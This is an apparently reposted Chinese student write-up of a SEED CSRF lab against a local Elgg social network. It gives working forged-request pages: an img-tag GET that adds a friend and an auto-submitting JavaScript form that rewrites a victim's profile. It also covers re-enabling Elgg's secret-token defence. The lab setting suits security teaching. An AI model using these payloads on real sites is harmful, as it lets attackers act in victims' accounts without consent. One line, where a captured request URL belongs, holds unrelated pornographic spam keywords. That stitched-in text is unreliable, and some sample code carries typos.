本文主要是介绍【科软课程-信息安全】Lab10 Cross-Site Request Forgery (CSRF) Attack,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
目录
1.0 概述
2.0实验环境
3.0 实验任务
3.1 task1 观察HTTP请求
3.2 task2 使用获取请求的CSRF攻击
3.3 task3 使用开机自检请求的CSRF攻击
3.4 task4 为Elgg实施对策
1.0 概述
本实验的目的是帮助学生理解跨站点请求伪造(CSRF)攻击。CSRF攻击涉及受害用户、可信站点和恶意站点。受害用户在访问恶意站点时与受信任站点保持活动会话。恶意站点将对受信任站点的HTTP请求注入受害用户会话,从而造成损害。
在本实验中,学生将使用CSRF攻击来攻击社交网络应用程序。开源的社交网络应用程序叫做Elgg,它已经安装在我们的虚拟机中了。Elgg有对付CSRF的对策,但是我们为了这个实验室的目的已经关掉了。本实验涵盖以下主题:
- 跨站点请求伪造攻击
- CSRF对策:秘密令牌和同站点cookie
- 获取和发布请求
- JavaScript和Ajax
2.0实验环境
本实验只能在我们的Ubuntu 16.04虚拟机中进行,因为我们已经执行了支持本实验的配置。我们在本节中总结了这些配置。
Elgg网络应用。在本实验中,我们使用了一个名为Elgg的开源网络应用程序。Elgg是一个基于网络的社交网络应用。它已经在预先构建的Ubuntu虚拟机映像中设置好了。我们还在Elgg服务器上创建了几个用户帐户,凭据如下:
域名系统配置。这个实验涉及两个网站,受害者网站和攻击者网站。这两个网站都是在我们的虚拟机上设置的。它们的网址和文件夹描述如下:
Attacker’s website
URL: http://www.csrflabattacker.com
Folder: /var/www/CSRF/Attacker/Victim website (Elgg)
URL: http://www.csrflabelgg.com
Folder: /var/www/CSRF/Elgg/
上述网址只能从虚拟机内部访问,因为我们修改了/etc/hosts文件,将每个网址的域名映射到虚拟机的本地IP地址(127.0.0.1)。您可以使用/etc/hosts将任何域名映射到特定的IP地址。例如,您可以通过将以下条目附加到/etc/hosts,将http://www.example.com映射到本地IP地址:
127.0.0.1 www.example.com
如果您的网络服务器和浏览器运行在两台不同的机器上,您需要相应地修改浏览器机器上的/etc/hosts,以将这些域名映射到网络服务器的IP地址,而不是127.0.0.1。
Apache配置。在我们预先构建的虚拟机映像中,我们使用Apache服务器来托管实验室中使用的所有网站。Apache中基于名称的虚拟主机功能可以用来在同一台机器上托管多个网站(或网址)。目录"/etc/ apache2/sites-available "中名为000-default.conf的配置文件包含配置的必要指令:
在配置文件中,每个网站都有一个VirtualHost块,该块指定网站的网址和包含网站源的文件系统中的目录。以下示例显示如何配置一个网址为http://www.example1.com的网站和另一个网址为http://www.example2.com的网站:
<VirtualHost *80>
ServerName http://www.example1.com
DocumentRoot /var/www/Example_1/
</VirtualHost><VirtualHost *80>
ServerName http://www.example2.com
DocumentRoot /var/www/Example_2/
</VirtualHost>
您可以通过访问上述目录中的源代码来修改web应用程序。例如,使用上述配置,可以通过修改/var/www/Example_1/目录中的源来更改网络应用程序http://www.example1.com。对配置进行更改后,Apache服务器需要重新启动。请参见以下命令:
$ sudo service apache2 start
实验步骤:
查看攻击者网站:
查看受害者网站:
3.0 实验任务
对于实验任务,您将使用虚拟机中本地设置的两个网站。第一个网站是位于www.csrflabelgg.com的易受攻击的Elgg网站,位于虚拟机内部。第二个网站是攻击者用来攻击Elgg的恶意网站。该网站可通过虚拟机内部的www.csrflabattacker.com访问。
3.1 task1 观察HTTP请求
在跨站点请求伪造攻击中,我们需要伪造HTTP请求。因此,我们需要知道一个合法的HTTP请求是什么样子的,使用什么参数等等。我们可以为此使用一个名为“HTTP Header Live”的Firefox插件。这个任务的目标是熟悉这个工具。指南部分(4.1)给出了如何使用该工具的说明。请使用此工具在Elgg中捕获一个HTTP GET请求和一个HTTP POST请求。在您的报告中,请确定这些请求中使用的参数(如果有)。
实验步骤:
打开控制台监看请求数据:
打开网页的登录界面、登录alice用户:
查看HTTP请求:(POST请求)
点击Friend按钮:
查看HTTP请求:(GET)
3.2 task2 使用获取请求的CSRF攻击
在这项任务中,我们需要Elgg社交网络中的两个人:Alice和Boby。Boby想成为Alice的朋友,但Alice拒绝将他添加到她的Elgg朋友列表中。Boby决定用CSRF进攻来达到他的目标。他给Alice发了一个网址(通过电子邮件或Elgg的帖子);Alice对此很好奇,她点击了链接,链接指向Boby的网站:www.csrflabattacker.com。假设你是Boby,描述你可以如何构造网页的内容,这样爱丽丝一访问网页,Boby就被添加到Alice的好友列表中(假设Alice和Elgg有一个活动会话)。
要向受害者添加朋友,我们需要识别合法的添加朋友HTTP请求(GET请求)是什么样子的。我们可以使用“HTTP Header Live”工具进行调查。在此任务中,不允许您编写JavaScript代码来发起CSRF攻击。您的工作是在Alice访问网页时立即使攻击成功,甚至不需要在网页上进行任何点击(提示:您可以使用img标签,它会自动触发HTTP GET请求)。
Elgg加实施了一项对抗CSRF袭击的对策。在添加朋友的HTTP请求中,您可能会注意到每个请求都包括两个看起来像有线的参数,elggts和elggtoken。这些参数由对策使用,因此如果它们不包含正确的值,Elgg将不会接受该请求。我们已经禁用了本实验的对策,因此没有必要在伪造的请求中包含这两个参数
实验步骤:
登录Boby用户、找到添加好友、搜索alice、然后添加:
Boby好友:
查看HTTP请求头参数:
URL:色婷婷亚洲婷婷七月中文字幕_国产精品区一区第一页_无码超级大爆乳在线观看_偷拍亚洲另类无码专区制服
伪造一个跨站GET请求来添加好友:
<html>
<body>
<h1>This page forges an HTTP GET request.</h1>
<img src="http://www.csrflabelgg.com/action/friends/add?friend=42" alt="image" witdh="1" height="1" />
</body>
</html>
打开控制台:(root权限下) vim addfriend.html
copy到攻击网站的主页:
然后Boby给Alice发一条消息、Alice点击后、Boby就出现在Alice的好友列表里
alice登录:
点击消息:
好奇的alice打开了这个网站:
(CSRF攻击成功)于是alice并没有添加boby、boby却已经是alice的好友了:
3.3 task3 使用开机自检请求的CSRF攻击
在把自己加入Alice的好友名单后,Boby想做更多的事情。他想让Alice在她的简介中说“Boby是我的英雄”,所以每个人都知道这一点。Alice不喜欢Boby,更不用说把这句话写进她的简介里了。Boby计划用CSRF进攻来达到这个目标。这就是这项任务的目的。
攻击的一种方法是向Alice的Elgg帐户发布一条消息,希望Alice能点击消息中的网址。这个网址将引导Alice到你的(即Boby的)恶意网站www . csrflabattacker.com,在那里你可以发动CSRF攻击。
你攻击的目的是修改受害者的简介。特别是,攻击者需要伪造一个请求来修改Elgg受害用户的配置文件信息。允许用户修改他们的个人资料是Elgg的一个特性。如果用户想修改他们的配置文件,他们会转到Elgg的配置文件页面,填写一个表单,然后将表单提交给服务器端脚本/配置文件/编辑. php,后者处理请求并进行配置文件修改。
htttp://www.csrflabelgg.com/action/profile/edit
POST /action/profile/edit HTTP/1.1 Host: www.csrflabelgg.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:23.0) ...
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://www.csrflabelgg.com/profile/elgguser1/edit
Cookie: Elgg=p0dci8baqrl4i2ipv2mio3po05
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length:642 &__elgg_token=fc98784a9fbd02b68682bbb0e75b428b&__elgg_ts=1403464813 ✰ &name=elgguser1&description=%3Cp%3Iamelgguser1%3C%2Fp%3E &accesslevel%5Bdescription%5D=2&briefdescription=Iamelgguser1 &accesslevel%5Bbriefdescription%5D=2&location=US
......
在理解了请求的结构之后,您需要能够使用JavaScript代码从您的攻击网页中生成请求。为了帮助您编写这样一个JavaScript程序,我们在下面提供了一个示例代码.您可以使用这个示例代码来构建针对CSRF攻击的恶意网站。这只是一个示例代码,您需要对其进行修改,以使其适用于您的攻击。
<html>
<body><h1>This pages forges an HTTP POST request.</h1>
<scripts type="text/javascript">
function forge_post(){
var fileds;
// The following are form entries need to be filled out by attackers.
// The entries are made hidden, so the victim won’t be able to see them.
fields += "<input type=’hidden’ name=’name’ value=’****'>";
fields += "<input type=’hidden’ name=’briefdescription’ value=’****’>";
fields += "<input type=’hidden’ name=’accesslevel[briefdescription]’ value=’2’>"; ➀
fields += "<input type=’hidden’ name=’guid’ value=’****’>";}
</body>
</html>
在第①行中,值2将字段的访问级别设置为公共。这是必需的,否则,访问级别将默认设置为私有,因此其他人无法看到此字段。应该注意的是,当从一个PDF文件中复制并播放上述代码时,程序中的单引号字符可能会变成其他字符(但看起来仍然像单引号)。这将导致语法错误。将所有单引号符号替换为从键盘上键入的符号将修复这些错误。
除了详细描述您的攻击之外,您还需要在报告中回答以下问题:
- 问题1:伪造的HTTP请求需要Alice的用户id (guid)才能正常工作。如果Boby专门针对Alice,那么在攻击之前,他可以想办法获取Alice的用户id。Boby不知道Alice的Elgg密码,所以无法登录Alice的账户获取信息。请描述一下Boby如何解决这个问题。
- 问题2:如果boby想对任何访问他恶意网页的人发起攻击。在这种情况下,他事先不知道谁在访问网页。他还能发动CSRF袭击来修改受害者的Elgg档案吗?请解释。
实验步骤:
<html><body><h1>This page forges an HTTP POST request.</h1><script type="text/javascript">function forge_post(){var fields;fields = "<input type='hidden' name='name' value='Alice'>";fields += "<input type='hidden' name='description' value='Boby is my Hero'>";fields += "<input type='hidden' name='accesslevel[description]' value='2'>";fields += "<input type='hidden' name='guid' value='42'>";var p = document.createElement("form");p.action = "http://www.csrflabelgg.com/action/profile/edit";p.innerHTML = fields;p.method = "post";document.body.appendChild(p);p.submit();}window.onload = function(){forge_post();}</script></body>
</html>
打开终端、创建一个edit.html文件:内容是以上代码
复制到攻击者网站:
boby再发一次该网站给alice、让她点击、点击后alice的签名被修改:
问题1:
答:boby向alice添加好友的时候、打开控制台,可以看到http请求的URL中、有附带了参数friend=42,就可以拿到alice的用户id了、就可以进行攻击了。
问题2:
答:不能攻击成功。因为攻击网页的用户id已经写好了,除了指定的用户访问能受攻击成功外,其他用户都不会受到攻击。
3.4 task4 为Elgg实施对策
Elgg公司确实有一个内置的反制措施来抵御CSRF的攻击。我们已经评论了使攻击奏效的对策。CSRF不难防御,有几种常见的方法:
- 秘密令牌方法:网络应用程序可以在其页面中嵌入一个秘密令牌,来自这些页面的所有请求都将携带这个令牌。因为跨站点请求无法获得此令牌,所以它们的伪造请求很容易被服务器识别。
- 引用头方法:网络应用程序也可以使用引用头来验证请求的原始页面。然而,出于隐私考虑,该报头信息可能已经在客户端被过滤掉了。
网络应用程序Elgg使用秘密令牌方法。它在请求中嵌入了两个参数elggts和elggtoken,作为对CSRF攻击的对策。这两个参数被添加到用于POST请求的HTTP消息体和用于HTTP GET请求的URL字符串中。
Elgg请求正文中的秘密令牌和时间戳。Elgg将安全令牌和时间戳添加到所有要执行的用户操作中。下面的HTML代码出现在所有需要用户操作的表单中。此代码向开机自检请求添加了两个新的隐藏参数elggts和elggtoken:
<input type = "hidden" name = "__elgg_ts" value = "" />
< input type = "hidden" name = "__elgg_ts" value = ""/>
elggts和elgg/token由视图/default/input/securitytoken生成。php模块并添加到网页中。下面的代码片段显示了如何将其动态添加到网页中。
$ts = time(); $token = generate_action_token($ts);
echo elgg_view(’input/hidden’, array(’name’ => ’__elgg_token’, ’value’ => $token));
echo elgg_view(’input/hidden’, array(’name’ => ’__elgg_ts’, ’value’ => $ts));
Elgg还在JavaScript中添加了安全令牌和时间戳,可以通过
elgg.security.token.__elgg_ts;
elgg.security.token.__elgg_token;
PHP函数sessionid()用于获取或设置当前会话的会话id。下面的代码片段显示了除了公共用户会话标识之外,为给定会话标识随机生成的字符串。
...... // Generate a simple token (private from potentially public session id)
if (!isset($_SESSION[’__elgg_session’])) {
$_SESSION[’__elgg_session’]=
ElggCrypto::getRandomString(32,ElggCrypto::CHARS_HEX);
........
Elgg秘密令牌验证。elgg网络应用程序验证生成的令牌和时间戳,以抵御CSRF攻击。每个用户操作都调用validateactiontoken函数,该函数验证令牌。如果令牌不存在或无效,操作将被拒绝,用户将被重定向。
下面的代码片段显示了validateactiontoken函数。
function validate_action_token($visibleerrors = TRUE, $token = NULL, $ts =
NULL)
{
if (!$token) { $token = get_input(’__elgg_token’); }
if (!$ts) {$ts = get_input(’__elgg_ts’); }
$session_id = session_id();
if (($token) && ($ts) && ($session_id)) {
// generate token, check with input and forward if invalid
$required_token = generate_action_token($ts);
// Validate token
if ($token == $required_token) {
if (_elgg_validate_token_timestamp($ts)) {
// We have already got this far, so unless anything
// else says something to the contrary we assume we’re ok
$returnval = true;
......
}
else {
......
register_error(elgg_echo(’actiongatekeeper:tokeninvalid’));
......
}
......
}
开启对策。要打开对策,请访问目录/var/www/CSRF/
Elgg/vendor/Elgg/Elgg/engine/class/Elgg并在ActionsService.php文件中找到功能看门人。在功能网守()中,请注释掉“return true”;代码注释中指定的语句。
public function gatekeeper($action) {
//SEED:Modified to enable CSRF.
//Comment the below return true statement to enable countermeasure
return true;
......
}
任务:开启上述对策后,再次尝试CSRF攻击,并描述你的观察。请指出使用Firefox的HTTP检查工具捕获的HTTP请求中的秘密令牌。请解释为什么攻击者不能在CSRF攻击中发送这些秘密令牌;是什么阻止他们从网页上找到秘密令牌?
实验步骤:
打开ActionsService.php文件、找到gatekeeper函数、将return true注释掉,再重新做一次攻击
(快速找gatekeeper函数:按Esc,:/gatekeeper($action) ,回车即可定位到该函数)
重复攻击(修改签名):
首先把alice的签名改回来
然后alice再次打开攻击网站:
没有像上次一样跳转并且签名被修改,说明CSRF攻击失败。
查看秘密令牌与时间戳:
因为要成功攻击,攻击者需要了解秘密令牌的值以及目标用户的Elgg页面内嵌的时间戳,然而,浏览器的访问控制机制会阻止攻击者网页的JavaScript代码访问Elgg页面的任何内容。
这篇关于【科软课程-信息安全】Lab10 Cross-Site Request Forgery (CSRF) Attack的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!